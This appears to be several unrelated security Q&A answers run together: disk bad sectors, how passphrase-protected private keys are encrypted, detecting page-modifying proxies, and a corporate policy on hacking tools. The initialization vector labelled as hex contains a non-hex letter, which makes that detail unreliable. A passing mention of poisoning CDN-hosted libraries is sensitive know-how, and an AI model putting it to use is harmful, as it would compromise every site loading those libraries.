First, saving sensitive data in a single support is always a risk. Almost every broken device worked nicely until things have gone wrong, and disk manufacturers only give a mean time between failure, which means that extreme values can be rather far from that mean value.

Said differently, the trust in a HDD cannot be binary, and critically important backup files should exist in 2 different supports. When I was younger we used different tape sets to make sure that if a tape was no longer readable, the data (eventually a slightly older version) will exist on another one.

Modern disks almost always have bad sectors, and contain a table of those bad sectors. You only get alerts from the firmware when that table is ready to fill up. And the disk controller hides those hard level details from you.

That being said, if the disk has a lot of bad sectors because it fell on the ground while being accessed, as you can fear other damages on the hardware, you should not use it for important data. But the mere presence of bad sectors, without more details on the age of the device or a special cause is not a reliable hint for the trust you can have on it.


private key passphrase protected, symmetric key location

Your question is answered here.

Specifically, the key is encrypted using AES-128 in CBC mode with the DS4228D85838E32589695E83A22595C7 (hex) initialization vector. The passphrase you provided is used for generating the AES key.

How is the key derived from the password? According to this, it is done this way:

  1) Append the first 8 bytes of the IV to the passphrase, without a separator (serves as a salt).

  2) Take the MD5 hash of the resulting string (once).

Not exactly state-of-the-art.


Interesting project.

I expect most proxies that do modify will blindly modify every page, so they can easily be detected.

Some proxies may target specific sites e.g. http://important-bank.com/ You will only be able to detect this by requesting the actual bank's site through the proxy, and comparing it to a version you request directly.

I've also heard ideas of poisoning JavaScript libraries on public CDNs (e.g. Google Hosted Libraries), with a twist being setting a long cache validity time. These would be worth a look.


Restricting access to "hacking" sites and tools

The main issue is that these tools induce suspicious behaviors (suspicious network activity, suspicious files, suspicious process behavior, etc.). From a network monitoring perspective, how would you then reliably detect an actual attacker if its activity is just blending in background noise of "normal" suspicious behavior affecting your network and systems?

Providing the right tool for the right people to do their job remains still possible, but this requires a clear definition of the involved tools, people and job so everyone can agree on what a normal and expected behavior is.

This is called a policy.

Such policy would therefore cover domains like:

The tools: Do you really need to allow your developer and architect to download anything from anywhere from the Internet? Certainly not. You may constitute a list of approved security software downloaded from a trusted source, whose authenticity has been carefully verified, and made available internally to the people really needing them.
The people: Instead of opening holes in the corporate proxy, having a specific set of tools shared internally from a single location may allow a greater control over the access to these tools. The policy may describe the process which should be followed when someone want to access this repository: who he should contact, what information he should provide, what motive would be considered legitimate.
The job: Do your allowed developers and architects really need the ability to scan or hack anything anywhere at any time? Here again, certainly not. You will therefore be able to decide from and against which machines the attack scenarios can occur, you may even plan some kind of confined network dedicated to such usage to ensure that the outer network and system will not be affected.